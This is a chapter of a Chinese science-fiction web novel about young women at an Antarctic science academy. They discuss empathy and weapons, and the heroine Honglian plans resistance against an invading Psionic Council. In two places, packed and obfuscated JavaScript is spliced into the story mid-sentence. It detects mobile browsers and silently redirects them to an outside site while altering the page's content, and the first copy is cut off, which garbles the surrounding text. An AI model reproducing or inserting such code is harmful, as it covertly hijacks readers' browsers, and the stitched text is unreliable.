短发：“我们都知道，大脑中的镜像神经元可以使人不经过思考就辨认物体和快速学习，能将别的生物或物体模拟成跟自己一样的人类，所以是人共情能力的来源。这是我们从南极信息库整理的一份新元203年到315年的脑科手术统计报告，显示这一百年中人类大脑的镜像神经元持续减少，这个状况到体了外孕育技术普及才得以缓解。是什么原因导致人脑的变化呢？我们认为是基因选择，镜像神经元提供的学习能力是基于图像处理，科学知识大多是抽象概念，共情提供丰富的感性，不擅长理性判断，基于这两点，镜像神经元更少的人类被时代筛选出来，成为我们的祖先。那么有没有0个镜像神经元的人呢？仿照人脑理性思维系统制造的电子脑就是北极在线AI系统，灵能体也是一样，它们完全没有共情能力，不在乎我们和自然万物的死活。” 高马尾：“风之语研究部尝试从人类起点，寻找能让所有人认同的契约，祖大陆的远古先民认为风能带走死者灵魂，赐予生者幸福。大陆分裂后，大海风吹向南大陆，所以符号是V，北极写作∧，西大陆写作<，东大陆写作>，共同组成光星人类文明。如今自然之风已死，人命之风飘摇欲灭，V符号是从一个小点向上无限扩展，寓意生命从诞生之初的渺小到自强达成无限可能。现在，人类未来绝望到晦暗无光，我没有别的理论可以说，只想邀请大家喜欢这个符号，给予自己这份生命原初的信心，活着，就不要放弃。” 她俩听完讲台处三人的观点，望江南出门的时候领取了一枚V字戒指，学姐夺了过来，担心她戴着被女王亲信看到会惹麻烦。 两人走进学院后门大厅，领了两件棉衣，绕过巨大石墙组成的S形走廊，来到学院后门，南方是服务局，更远方的群山之中有风花白夜宫。 自发莹光的业凰科学院石墙照亮了附近雪地。 望江南转身仰望石墙之巅的巨石如一尊白色凤头，凤凰以双翼环抱科学院，因此得名业凰。她回身四顾，大片白雪上闪动万千晶莹星光，仿佛夜星人失去的星空，却是一枝枝冰花，每朵代表了一位结业的社员，数十万冰花组成的花海就是南极闻名遐迩的业凰后花园。 “真是太美了。” “等你结业了，也放一朵吧。” “可以吗？” “社员们自发建立的景点，没什么规矩，只有珍惜。” 呼。 两位少女身穿臃肿的白色棉质连帽大衣，轻吐哈气，感受城外雪原的徐徐寒意。 “怎么才能听到风之语呢？” “哈哈，江南你也相信超自然现象吗？” “想试试。” “据说必须在四下无人的旷野，身体极度放松或者疲惫的时候。” “那怎么证明不是幻听呢？还没有他人作证。” “是啊，所以近万年来，都只传说。” “真是孤独者的真理呢。” 望江南漫步在花田的田埂，转身微笑着说话。 “我想我明白了V符号真正的含义。” “什么？” “人是孤独的原点，风是交流的媒介，我们彼此孤独，所以需要知爱。” 她们返回学院，在石山中心的圆形广场散步休息，底层建筑是南极社员的宿舍区，所以聚集了数万少女在此休闲放松。 广场的一半空间在石山内部的山洞里，洞壁上的几十部电梯方便人们通行，多条美观的透明管道将清水输送到小型假山花坛之内，使洞内空间仍然保持优雅自然。 广场边缘的长椅数量不足，一些社员增设了扇形排列的白色塑钢椅位，望江南和学姐坐到一片休息区，旁边的两位社员一边下棋，一边讨论兵器推演的话题。 学姐介绍说，宿舍区的广场是武斗派探讨武装技术的场所，望江南觉得这些知识有利于安保服务，就独自搬椅子坐在那两人桌边旁听。 执黑色棋子的女生简称黑方，用白色棋子的女生简称白方。 白方：“使用电子技术的武器系统根本就是扯淡！北极天家和灵能会有8分知识库，可以随意破解信息传输并瘫痪控制系统，所以我们武器工业研发科才一直采用纯机械结构的设计方案！” 黑方：“只有炮弹和链锯还打啥啊打。” 白方：“这不没打吗！你听说了吗？恶毒女王下令，孕育罐基地制造了一种叫白猫的低智能的人造人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白方：“我认得你！叫什么南，我参与召回问题火炮配件的任务时见过你，是负责调度白猫部队的后勤官！哎？别走呀！跟我们聊聊外面的情况！” 望江南连连鞠躬道歉，拉起学姐，一起往山洞壁内的电梯走，她看等待乘坐的人过多，急忙跑出广场，匆忙跑上盘山走廊的台阶，撞到别人就继续连说对不起。学姐跌跌撞撞的跟到半山腰处，见山下，由望江南引起的骚动渐渐平息，带她走到没人的冰树庭院，才找到机会安抚她的情绪。 “江南，你多虑了，她们不会因为你是服务局的后勤官就敌视你。” “学姐，你知道外面的事？” “嗯，工业设备，武器装备，生活物资，管理系统，不管哪一样都是业凰设计监制的，外面的事，大家心知肚明，知道服务局只负责后勤，作战命令需要首都下达。第一运输局的会长千鸟和千里，第二运输局的会长阳荷，包括大权独揽的玛丽安都曾是业凰的社员，有认识她们的同学说过，她们是值得信任的人，所以我们不太担心，放轻松吧，江南。” “真的很对不起。” “没事，正好来到这儿了，我带你去个有意思的地方！” 依白石山而建的科学院，中层建筑主要是方长不一的石制大厅，以拱桥或直桥相连，内设货运和人员电梯，是工业学及医疗学各学科的实验室所在地。 厅内宽阔，没有石制隔墙，取而代之的是玻璃隔断围成的工作室，社员往来于各室之间，有的实验室摆满了杂七杂八的零件和工具，像在开发小型电子模块，有的房间更为正规，密封舱和消毒室一应俱全，社员们围着一张机械椅子装卸模块，似乎在改善它的功能，最大的隔间只围了两堵玻璃墙，内设有一部巨型电子机械，看结构是中核反应堆驱动的一体化的制造芯片的装置，大量管线杂乱的铺满地面，看社员们熟练的迈腿跨过，是在此长期从事研发工作后形成的习惯。 一些社员推着摆满散碎设备的推车，从货运电梯出来，她们看到望江南就问好，她就回以点头和道谢，学姐带她走到大厅尽头，推门出来，外面又是一处冰树庭院。 三栋宿舍贴着巨大的白色外墙建成，二栋宿舍则悬建在石山的空隙中，以一部小型电梯连接庭院，望江南看石楼外墙的金花装饰极为繁复，推测这些建筑是贝家社员专用的宿舍楼，正好可以往来监督各学科的南极社员，那么宿舍建筑布局较为突兀就在情理之中了。 石雕花瓶内插的金花束和冰树上满开的金花也印证了她的猜测。 庭院边缘有一圈长椅，中心摆着一套石制圆形桌凳，学院内的气温在25度左右，石制坐具的坐面都用特殊保温塑胶覆盖过，一群女生围着坐在石凳上的少女聊天，学姐跟她们打招呼，众人就为望江南空出来一个座位，对面的女生外貌美到让她感觉自己整个人控制不住的前倾。 圆饼形的浅蓝色帽子在她头上就很俏皮可爱，金色和白色相间的长发柔顺洒肩上，瓜子脸型有肉嘟嘟的甜气，鼻梁和粉色润唇显得娇美迷人，淡粉色的大眼睛直勾勾的看了望江南，眼中是天真又带着几分执拗的少女心思，常人穿的披肩总是平顺，被她一穿就曲弧有形，腰虽称不上是最细，但线条优美，包围腹部的宽束腰也不像别人那样略显小肚子，而是平整有力，可以看出她平常十分注重体育锻炼，美中不足的就是发根和发梢有些粉色痕迹，望江南想她可能是喜欢频繁染发的女孩。 一个女生伸圆桌上的双手拉住她的手。 “狐，再讲个爱情故事！” “我叫珊瑚，玉珊瑚！” 少女假装愤怒，再做个鬼脸，逗的众人欢笑。 “好的，珊瑚，在讲一个嘛~” 故事讲述生活在远古时代的一个叫黄昏的女孩，被村民抓住，当成献给神的祭品，死后的鬼魂盘踞在学校废弃宿舍，偶遇一个来探险的男孩，两人互相爱慕，女孩将怨气分成一个恶灵，男孩接受了这股怨念，帮女孩合二为一，脱离人世的故事。 “为什么写人鬼恋情呢，作者想表达什么？” “那本小说的创新之处在于，用一个恶灵分身，引出了恋人需要接受对方的缺点，即爱上缺点才是感情的基础，我很喜欢那部作品。” 玉珊瑚说完，视线看向冰树金花，回味着小说的细节，听众却只听了个大概，懂了剧情框架，即便亲眼读一读原书，若不似她这般向往男女爱情，也很难想象出具体的画面。 前文提到过，光星人文环境不注重艺术文化，从机械时代开始，就鲜有小说出版了，现存的休闲读物都是珍贵的纸质书，作为历史文物，封存在各城图书馆中。 研修体育学的风狐，不惜花费进化评分，借阅言情小说，因而变成学院里唯一的爱情专家，恶毒女王发布针对风家的追杀令后，她化名玉珊瑚，依靠医疗科的同学帮助躲藏，贝家社员撤离业凰，空出了很多宿舍楼，成为她的避难所。 “你好，我没见过你。” “啊我？” 学姐轻拍望江南的肩膀，替她解释：“她是来研修服务学的后勤官。” 女孩们听到后勤官的称呼，立刻紧张的后退并帮玉珊瑚遮挡，学姐刚想说话就听玉珊瑚问望江南。 “你喜欢恋爱么？” 她被问的茫然无措，就反问：“爱谁？” 这两句跨认知对话着实把众人整不会了，她们面面相觑，转而哄堂大笑起来，一番欢笑过后，一位女生突然想到一个人选。 “你们见过吗？新来一个棕色短发的社员，很像男生啊！” “我见她总是一个人行动，除了有点瘦以外，很俊俏呀！” “在哪呐？带我们去看看！” “走！珊瑚去不去？” 少女们推搡着玉珊瑚，一起赶往山腰另一侧的编程学大厅后门，这里早已聚集着大量的想目睹橡树芳容的社员，有些胆大的女孩走进庭院跟他搭话，似乎经历了三句话不到的尬聊后退回门内，感觉扫兴的女生纷纷离开，一段奇妙的旋律出现，使人群肃静，让玉珊瑚得以挤到最前。 橡树跟红莲虽无血缘关系，但两人都是有些平淡的五官，他眼睛不大，眉毛比女孩更浓些，鼻型很漂亮，除此之外便没什么亮点了，却也没什么丑的地方，就是那样稳稳的小帅哥感觉，真心愿意注视他很久的话，才能看出他冷漠表情之下，有着远超常人的从容感，如同夜月与平静湖面中的孤独之树，静静等待这位少女扶木，赏景。 三弦琴的曲声随他闭目轻摇上身开始起伏乐律，扣动了在场少女的心弦，夜星人时隔2000多年后，再次感受了音乐之美。 望江南这一天的经历，是业凰科学院平平无奇的一天，时光就是这样匆匆溜走，小说作者我也曾在业凰研修过半年管理学，熟知那里的一切。 南极曾经有过前沿科学，是一种全自动的高智能机器人，但2000多年前的最终战争战败，使得该学科被灵能会封印在家园堡，于是南极仅能靠人力开发科技，业凰的地位就尤为重要了。 旧时代的人类世界有一个根源性的弱点，个体的思维和阅历成长到优秀状态时已接近死亡，新出生的人类几乎和猴子一样，孕育罐的知识灌输技术逐渐改变了历史规律，使新人类幼儿的认知和阅历大幅提高，行为和逻辑就更接近智者了。 全南极的聪慧女子云集到这所科学院，智者群体往往能明辨是非，灵能会对南北极的差别对待打消了她们对灵能进化的幻想。 南极北海岸的机械大军，家园堡和赛博空港驻扎的侍灵军团都威胁着她们的生命，压力迫使思想活跃，全力思考破局之道。 从世界地图上看，南极内陆城市呈Y字形分布，Y上端的两个点分别是家园堡和赛博空港，下端的一个点是首都风花白夜宫，业凰科学院就位于三城中心，可以说，得业凰者得南极，灵能会志在必得，恶毒女王却只顾自己个人安危，尽失人心。 17. 章17南极：莲火燃凰 南极的夜晚隐藏着难以言喻的孤独，只有呼啸而过的寒风，带着刺骨的冷意，穿梭在空旷的冰原之间，发出阵阵呜咽，仿佛是大自然最深沉的叹息。 雪花在空中飞舞，落在地上便融入雪群，一片片的雪花消融在大地，心一点点的冰冷。 在这里，人们可以放下所有的防备与伪装，真诚地面对自己的内心。 孤独，不再是一种恐惧与逃避，而是一种成长与蜕变的力量。 口鼻呼出的一团热气，是人活着的证据。 少女将坐的随身提箱抽到身边，拿出一柄锈蚀到无法再御敌的铁剑，把剑插在雪中，静静的看着广袤雪原，她摘掉棉大衣的兜帽，黑色长发被风吹的张狂散开，而她双眼流泪，眼中的锐气就像这把铁剑的锋刃，被外界腐蚀殆尽。 红莲回想着刚才和好友天烛发生的争吵，她认为业凰既然是灵能会设立的科学院，那就跟博物馆都市没什么区别，所以每天就是到上层建筑群中的图书馆找天烛闲聊和翻纸质书。 天烛坐在书桌旁，精心打理盘发，轻盈的发丝间，闪动纯净的光泽。不经意间滑落一缕温柔的光影，与她那深邃的紫色眼眸交相辉映，抬头看到红莲推门进来，立刻面露微笑，大脑门增加了亲和友善之感。红莲坐下就与她聊些生活琐事或小说读后感，无话可说之刻，便打量天烛的装扮。 名门大小姐的优雅典范，一袭浅蓝色与金色交织的制服，金色肩章在灯光下微微闪烁，如同夜空中最亮的星辰，彰显着她不凡的身份与气质。制服的设计简约而不失华贵，金色的腰带紧紧束于腰间，勾勒出她曼妙的身姿，更添几分干练与飒爽。 下身搭配的是一条浅蓝色的短裙，轻盈飘逸，如同晨曦中第一缕微风，轻轻拂过心田。黑色长筒靴紧紧包裹着她修长的双腿，勾勒出完美的线条，既展现了少女的青春活力，又不失端庄大方。脚上踏着一双黑色高跟鞋，鞋面在光线的照射下泛着诱人的光泽，每一步都似乎踏出了自信与从容。 在柔和而略带神秘的光影下，常备的笑脸恰到好处地修饰了她精致的面容，为她平添了几分学者的气息与书卷香。眼眸深邃而明亮，仿佛能洞察人心的秘密，又或是藏着无尽的智慧与故事，让人不由自主地被吸引。那细腻的发丝间，隐约可见自然的光泽流转，与她的肤色相互映衬，更显肌肤如玉，清透无瑕。 “红莲姐姐，你看起来，很困倦，睡眠不好么？” “我已经一周都没睡过觉了，只是干躺着。” “为什么呢？有什么心事吗？” “你肯定不想听。” 敏感的天烛知道红莲最近一直在迎合自己，只聊日常话题和小说故事。 聪颖如她，肯定猜到了红莲的思虑是什么，但她拿起公文信息板和笔记本式计算机，处理身为社员会会计的公务，她们就这样平静的坐着。 她看红莲困到极限的面容上眼睛还在眼皮里抗拒睡意，想起正是那份坚韧激励了自己，逃离了博物馆都市，她想自己只会逃吗？ 天烛放下手边工作，准备直面红莲的想法了。 “北极的情况很糟吗？” “嗯？” 黑发少女从混沌中清醒，单手揉捏额头，再向后仰靠椅背，眼睛迷茫的看着天花板，柔顺的长发滑洒在胸间，给人的感觉是放弃一切的不甘。 “烛，我自己其实也不太愿意说，毕竟躲着很舒适，努力也没有用呢。” “逃避不适合你，莲。” “呵，我只是不知道，是自己喜欢舒适，还是舒适在支配我。” 红莲说完低头，从怀中掏出两封信，递给天烛后继续看着屋顶。 “天家主和黑家主抗着人类剩余的时间，她俩抗不住了，我们就完了。可能就在刚才，也可能是在下一秒，灵能会大军就打过来了。” 天烛也笑不出来了，她皱眉质问：“那我们两个人能做什么呢！” “你很聪明，聪明到能理解我说的话，我才很想跟你说说，但这毕竟不是什么快乐的事，所以我一直没说。” “快乐不快乐已经不重要了！” 红莲听完，捏着嘴唇，眉头罕见的做着内八字，展露了哀伤的神态。 “我能感觉到全夜星的人都心知肚明，赢不了就不打了，乐一天算一天，笑一秒是一秒。问题的关键就在于，只有我觉得，输赢不重要，战斗才是自己没被外力支配的证明。” 她说完抬手制止天烛说话。 “我知道你想说什么，可是！明明赢不了，我有什么资格编造希望，诓骗众人加入我的志向呢？人各有志，我只想等灵能会杀过来，砍几个侍灵就满足了。” 天烛在以往的生活里从没勇敢过，第一次勇敢是红莲给予她的，现在她将这份勇气还给红莲。 “你太傲慢了，莲，你怎么知道别人都是胆小鬼？都沉迷享乐？我感觉业凰的社员们都心存希望！” “那你呢？即便没有灵能会，你就这样一辈子精心打扮，守在这个小图书馆里？我看你喜欢规划复杂的公务，为什么不去更大的平台发挥能力？你在怕什么？” “我精心打扮有什么错！” “我没说这个！” 红莲气汹汹的出了图书馆，乘电梯下到底层，出后门来到学院外墙东侧的雪原，坐在雪上遥望这幅黑与白的空寂景象，慢慢冷静。 大自然任人摆布至此，只剩黑白。 人听从于外界，融入背景，不再是有思想的人，个人与世界，本身就是相生相克的关系。 她讨厌被外界强迫，所以她不愿强迫别人。 她厌恶被外界欺骗，所以她不想蒙骗别人。 除非人人自愿，否则世界不会改变。 天烛在业凰待的时间更久，加上担任社员会的会计，对人们的想法更为了解，红莲想到这些，觉得自己对他人有偏见。 远方，起伏的雪坡上赫然站起一个高大人影，她朝师父招手，明白它不愿靠近人类的居住设施，知道师父平安到达南极就足够了。 孤独如风，环绕着那个钢铁男人，而它的徒弟红莲并不孤单。 夜兰在校内网的留言板上看到红莲急匆匆的出城，就跟出来寻找她，绕着学院的桶形外墙走了一圈，站在红莲身后。 红莲扭身看她宛如一位暗夜中绽放的幽兰之女，容姿诡秘威严，一头乌黑如夜空般的长发，如瀑布般倾泻到鞋边，泛着微微的光泽，仿佛蕴含了夜的深邃与神秘。红眸如火，闪烁着令人不安的恐惧与热情。 体型高大而丰盈，既有少女的柔美又不失力量感，宛如黑夜中的女魔，强势而妩媚。紧身的黑色上衣紧贴着她曼妙的身姿，银色的扣子在光线的映照下微微闪烁，增添了几分英姿。而那枚精致的圆形胸针，宛如一轮新月悬挂胸前，既神秘又优雅。 下身则是紧身的黑色长裤，高跟鞋的设计简约而不失时尚感，黑色的鞋面上点缀着白色的装饰，这身黑白将军亲做的岸防卫队制服，具有较好的御寒科技，还是唯一符合夜兰体型的衣服。 “回吧。” 红莲站起来，拨剑，收入长方提箱，背好箱子，拉着夜兰的手，看夜兰被长发半遮的脸露出让人害怕的微笑，就忍不住伸手帮她塑造笑容，没能成功，二人会心一笑，往学院后门走去。 “红莲想去哪呢？” “去你的剑术馆待会儿，我一直没问你，怎么想起来加入剑术部呢？” “我不会别的呀！早产导致6分知识库只灌输了一半，脑子稀里糊涂的，每天就是坐在庭院里发呆。有天，一个小矮子过来跟我说，看你人高马大的，加入剑术部吧，一剑能刺出别人三倍远！” 夜兰说着，弓腿向前伸右臂，做了一个刺击动作，继续说话。 “我想红莲最喜欢剑术了，那我也学这个！哎？到了她的剑术馆才发现就我们两个部员！一高一矮的组合替奇妙的，偶尔有社员来观看我俩练剑。” 红莲听着，她想那位部长大概对剑术一无所知，是自行摸索，其实身高在顶级剑客之间的对决中具有一定劣势，长臂展和大步幅意味着很多破绽。 底层宿舍区后方，有一片无人居住的旧校区，是最终战争结束后，灵能会建设学院的过程中，安置人类社员的场所。 现在废弃了，装饰精美和宿舍外墙和景观瀑布遮蔽了这个区域，她俩从楼宇之间的小道进入，内部是一片缺乏光照的小广场，庭院里有些残破的长椅和石雕，建筑都是些简易仓库，甚至整片旧校区都作为库房使用，只有剑术部设在一间曾是手球馆的仓库中。 红莲向部长点头行礼过后，靠坐到墙角，看她们练剑。 这位部长实际高度大概一米四多，发量很少，一对高马尾增加了她的身高，眼睛很大，一般美人，表情嚣张且自信，看袖子的紧实度，胳膊有些肌肉，上身却是瘦弱的，穿着蓝色马甲和白衬衫，方便活动，腰间是束腰裙子，过膝袜上的大腿的肉感较重，整体看来，是最近半年才开始锻炼剑术的成果，跳跃的高度恐怕不过夜兰的腰，上肢力量不够协同，这些缺点让矮个子的战斗能力发挥大打折扣。 二人拿着硬橡胶制成的双手剑切磋剑术，部长的进攻很频繁，主要是想攻击夜兰的小臂和手腕，她争取到夜兰大摆臂的反击，就趁势蹲身，钻到夜兰面前并向上刺击，还是下身力量不足的问题，速度和力度都太慢了，结果被夜兰擒抱住，举了起来。 “放开我！你这傻大个！” “小铃兰小小的，我就想紧紧抱住！” “疼！疼！疼！” 夜兰抱紧她，头埋在她怀里蹭了好一会儿才放下她。 铃兰捡起橡胶剑，退后，揉揉胳膊和腰，苦思破敌之策，让红莲想起儿时的自己，眼中不服强者的斗志是一样的。 “发力不够连贯，你不能只锻炼单一部位。” 两人看红莲走到场地中，拿过铃兰手中的剑，后退了十步远，半蹲后跳的同时用单脚点地，使身体前倾，正当她们以为红莲要摔倒时，另一只脚沉重落地，单臂向前挥斩出一道风，速度和力量双强以致仅仅是气流就将二人掀倒。 她走过去扶起两人。 “要调用全身的每一个细胞，听觉，视觉，感觉，力量，最重要的是神经网。发力前要能确认自己整合了身心的全部力量，因为实战中，你只有一次出剑机会，必须赌上自己的全部，才可以挥剑，发力时要最大程度的借用地面或者敌方身体。” “敌方身体？” 红莲蹲在问话的铃兰身前说：“对，这只有身体小的人才能做到，贴着或踩着敌人身体发力，等于借力的同时攻击敌人，还增强自身力道。想做到这一点，你需要让身体灵活兼顾力量，单胳膊或单腿必须能支撑并移动全身，练习单手俯卧撑和单腿站立吧。” 她说完，指导她们做动作练习，铃兰接连感谢并邀请红莲加入剑术部，红莲在这段教学过程中感受到了业凰社员的骨气和善意，她辞别二人，回到图书馆，见天烛还坐在那里。 白发少女的桌边放了两大堆书籍，看的出她也心烦意乱，无暇阅读了，她瞄了一眼站在门口的红莲就低头整理手边的两封信。 “你忘的东西。” 红莲第一次给友人道歉，有些尴尬的坐回椅子。 “抱歉，你想帮我，是我狭隘了，大家很好。” “莲，博物馆都市的人或许自私愚昧，但业凰不一样，我听说同学们很想和你交朋友。” “是吗？没人找我说话。” “噗，你一脸生人勿近的样子！” 她俩释怀的笑了，天烛趁机说出了自己的想法。 “我们也不想坐以待毙，我们也想各尽其能的战斗一场，输就输了，比什么都不做更好！但大家缺乏斗志，我们很想知道红莲你的锐气从何而来？” “从蠢而来？” “认真点，我没开玩笑！” “哈呵，让我想想怎么说明白这逻辑。” 红莲的气质一刻从说笑变为孤寂，屋内似乎空无一人，空无一物，没有光线，绝对孤独。 “赢不了是必然，很像我小时候身体的疼痛，永无休止，所以我也逃避，不看眼前。你说第一个单细胞生物知道某天它的子孙能遍布世界吗？你说突变进化的生物知道自己选的器官是适应环境的吗？你说发明水动机的人在乎经济回报吗？你说小说的作者在意书是否有人看吗？你说画家在乎作品符合主流审美吗？如果没人为你趟路并照亮你的前路，前途从来都是黯淡的，你越强！就走的越前，越是满目黑暗，不知胜负。我们和历史中探索未知领域的古人面对的困境是一样的，又何必在意结果呢？我想做就做，你想做就一起做，真理就这么主观，我称它为真我状态。” 天烛回想自己编写物资管理档案的时候，就是浑身充满力量，她能设身处地的构想各种人在各种环境需要的东西，为能潜移默化的帮到每个人而感到开心，她理解了那就是自己的真我，立刻发问。 “那方法呢？我们不懂战斗。” “我设想过世人自愿改变，就掌握了尽可能多的技能和信息，这在我自私之中，哪怕同志同道合的人一起多撑一秒，我们在那一秒都是美的。” “我该做什么？” “会长贝莎会妨碍我们吗？” “她的意愿很明显，只想带贝家人平安撤离学院，别的事务不管。” 红莲觉得事情不会这么单纯顺利，就略想了一下行动步骤。 “你问问熟人有没有意愿战斗，我得先去问玛丽安的态度，然后到学院底层交流一下想法再说，我不想强迫任何人。” 事不宜迟，二人出门，分头行动。 可有一个人，观察了她们一周，摸清了天烛出入图书馆的时间，悄然进入，躲藏到密室隔间，全程偷听她们的谈话并录了下来。 她将气息调整到日常状态，揉捏并捶打因长久未动而酸痛全身，踉跄的走到门口，拉门观察走廊，确认无人后挺直身姿，以优雅的举止走出图书馆，乘电梯到最高层的走廊，出电梯即有社员向她问好，她却无需回礼，这白色连身衣的芭蕾舞者般的步姿，带动金黄大螺旋卷发在背后上下弹动，显得高贵典雅万分。 她再乘一部直通社员会高塔的专用电梯，迈入走廊，这次摆手回应金发社员的问候，轻步进入白墙和金花装饰的办公室，坐在黄金转椅上，将录音设备连接电脑，副会长走来为她倒茶，她端起茶杯，慢慢品味。 “怎么样？” 她等副会长听了三遍后才问，而副会长嗤笑后说：“笑死了，贱民的逻辑真是好笑。” “喔？” “贝莎会长，要通知灵能会的歌剧院长和忏悔院长吗？” “它们自视高人一等，瞧不起我们的情报，更瞧不起这帮社员，我估计一个侍灵在30分钟内就能杀光业凰社员。” “那您？” 副会长质疑贝莎为何要屈尊去录这段笑话，理由很简单，因为她觉得有趣。 “真的很好笑嘛？你觉得在家族晚宴上播放会怎么样？” “贻笑大方，哄堂大笑，灵能进化已经算是给贱民一条仁慈的前程了，居然还有人？” 贝莎将录音上传到校内网的社员公告中，点了一下发布按钮。 “那我就试试在业凰播放这段录音能不能引起哄堂大笑！” 头雁 红莲穿越业凰后花园，联系玛丽安，让她派附近巡逻的白猫部队送来一辆单人雪橇车，狂风将雪花卷上高空，在以纷繁大雪降入大地，她身穿岸防队服和棉质大衣，才抵挡住寒气侵蚀。 业凰到首都之间夹着一座要塞堡垒，是原阳家主的本阵，现为服务局的所在地，大量物资车和全副武装的白猫战士环绕了学院三圈，不时有移动哨卡战车追上红莲，询问她的身份和意图。 穿越服务局和首都之间的雪原，到达花白色的巨石墙下，红莲的四肢已冻麻，乘升降机的功夫，尽力恢复灵活，以免被玛丽安看了笑话。 南极全军总指挥部设在首都巨型石墙内部的一处塔楼中，红莲走进密封通道，就脱掉冻成冰块的棉衣，振奋精神，路过总参谋部，遇见一个态度极为傲慢的长发将军盘查，通过后走到玛丽安私人卧室，敲敲房门。 “进来。” 这件屋子很有意思，三平米，一张前后顶墙的床横在门口，再往里是一张两头顶住墙的办公桌，玛丽安坐在桌后，她身后有一扇能看清南极内陆的保温窗，全屋唯一的奢侈家具就是她坐的木质转椅了。 “这是什么地方？” “我的休息室啊，噢，这是火炮射击口改的房间，你跨一步坐在床上，注意不要踩到我的床单啊。” 房间高度不够跳跃，红莲单手撑床，缩身，转过床体，在狭小空地内站稳，转身，拉平床单，坐好。 “不愧是你。” “这是我见过最寒酸的领袖住处。” “能亲眼看到南极啊。” 玛丽安说着，转动椅子，侧身遥望窗外大雪纷飞的自然。 她红色长发如火，眸光深邃似焰，有着常人难以理解的热忱。黑色军装衣裙极为贴身，披着的黑大衣的肩章金穗如帘，彰显着不凡的地位与力量。黑色裤子仿佛与腿浑然一体，线条流畅，尽显其飒爽英姿，既潇洒又不失威武，令人见而生畏。 “看你衣服的贴身程度，你也服用0元素了？” “啥？噢！那个黑色液体，喝了。” 红莲迫切的想知道喝下0元素的效果，就问：“感觉怎么样？” “你一直没喝啊？” “我想在普通人群里待会儿。” “噢，刚服的时候，五感变得异常灵敏，说疼不疼。立刻就变出贴身的衣服，衣服上会有星级标识，眼底总是可见一根细条，晴灯调整过辅助系统后，眼中能显示地图和各类信息，能变出一块平板电脑，称为0元素信息板，操作体内外的黑色物质。对了，喝过的人之间能用意识沟通，扩展功能很多，晴灯还在研究。” “我一会儿去看望母亲，那你几星？” “五星啊？晴灯说这可能是初次服用能得到的最高星级评定。” 红莲听到这话后脸上略有失落之情，被玛丽安发现了。 “我不明白当初你们母女为何不占为己有呢？” “因为一个人除了贪婪，什么都改变不了啊。” 玛丽安听完陷入沉思，一会儿过后，她给红莲倒杯热水后，双手做捧物状，变出一块黑色的平板。 “我在自己的信息板中发现一个程序，最高指令？” “对，最高星者有一次给别人升星的权力，还能消除别人的0元素。” “为什么要设计这个功能？” 红莲喝口水后回答：“防止自相残杀。” “那万一是恶人成为最高星者呢？” “这个指令必须通过信息板操作，众人一起攻击最高星者的话，她根本没有操作的时间，简单来说，这个指令的统帅意义大于实际功能。” “那现在落到我手中了，你不嫉妒嘛？” 红莲难掩失落，抿嘴，笑着说：“很好，你的人望和才华都在我之上，重要的是保存人类文明这个结果。” “哎呀。” 玛丽安一声长叹，转身对着窗口。 “想不到都成末世了，人群之中还能出来你这样的人物。啧，说实话，换位思考，我做不到你这份豁达通透，我甘拜下风。嘶，那你找我干什么呢？” “我想尝试教六局的人自行抵抗灵能会的大军，我们这些人反正是要死的，拼一下，至少有骨气些，希望能得到你的协助。” 玛丽安听完转过身子，正对红莲，四目相对，热情与锐利的对垒。 “红莲啊，我问你北极的情报，你是一个字都不说，现在突然扯出来大军。” “我说了你也不一定信，北极有没有大军，你把军队缩在首都，你这部署是不知道？” 红莲的这番话代表了首都之外的全体南极人的意见，玛丽安也知道自己实操了三家血案，已经不得人心。 也正因为如此，防止六局的人推翻女王是她的私心，援助六局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875295|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人们防御灵能会入侵就成了她的公道之心，夜星近4000年历史，从未有人战胜过私心。 “人类物种之火要是在我手里灭了可怪丢脸的呢。六局的会长全部跟我决裂了，她们都在等死，只有你来找我，我想知道你怎么唤醒她们的战意。” 红莲听完从随身口袋掏出一块铁片，上面写着真我剑术的心法，递给了玛丽安，她看了半个小时。 “我说结论，这是位很有才华的人总结的人才速成指南，不仅可以应用于剑术，放在任何领域都通用，简单来说，她把人成才的客观因素提炼出来了，很难得。但也正因为她本人是英才，没能完全看清真相。” 她说完，把铁片还给红莲。 “什么真相？” “你看没看过一本书叫《惨白的右手》？” 红莲摇摇头。 “应该看看，业凰图书馆肯定也有，故事讲一个星球，黑夜，白雪，最重要的是技术和文化迟滞，夜星从最终战争后技术也逐渐停滞，一模一样。问题出在哪呢？被动！真我剑术成立的条件是人内在有一个主动的真我，被本能和外界的信息埋没了，唤醒真我就能高效调用外界信息，深耕某个领域，对吧？” 红莲点点头。 “可真实情况是，很多人啊，没了本能和外界的要求就会原地不动！我比红莲你年龄大，跟许多名士兵深聊过，她们真的非常被动，被动这词几乎刻在很多人灵魂里，真的有点像游戏中的NPC，没外界刺激，就会待机，这其实是夜星停滞不前的真实原因。” “我反对这种观点。” “红莲，你必须把这种？观点就观点吧，列为一种可能性，才可以有效凝聚众人。我来假设一个思想实验，有一个山洞，里面有1000个永生的夜星人，洞里有蘑菇够吃，洞里有一条地下河，一端通往外界，潜水游出去大概率会死，你猜她们会怎么办？” “分批派人尝试游出去。” “错！她们会一直待在洞里！直到某个奇怪的人敢游出去，再游回来，才能改变她们。” 红莲用手掐着鼻梁，轻呼一口气后说：“所以关键是打胜仗对吗？” “至少对于普通人来讲，是这样。你有具体的计划吗？” “先得会用剑吧，0元素是一种防御性的材料，剑是基础应用，我想组织六局都参与的剑术比赛，普及真我剑术，之后分发0元素，再说下一步，毕竟灵能会随时有可能打过来。” “随！随时？” 玛丽安说着，直接从椅子上跳起来，凝视并等待红莲说话。 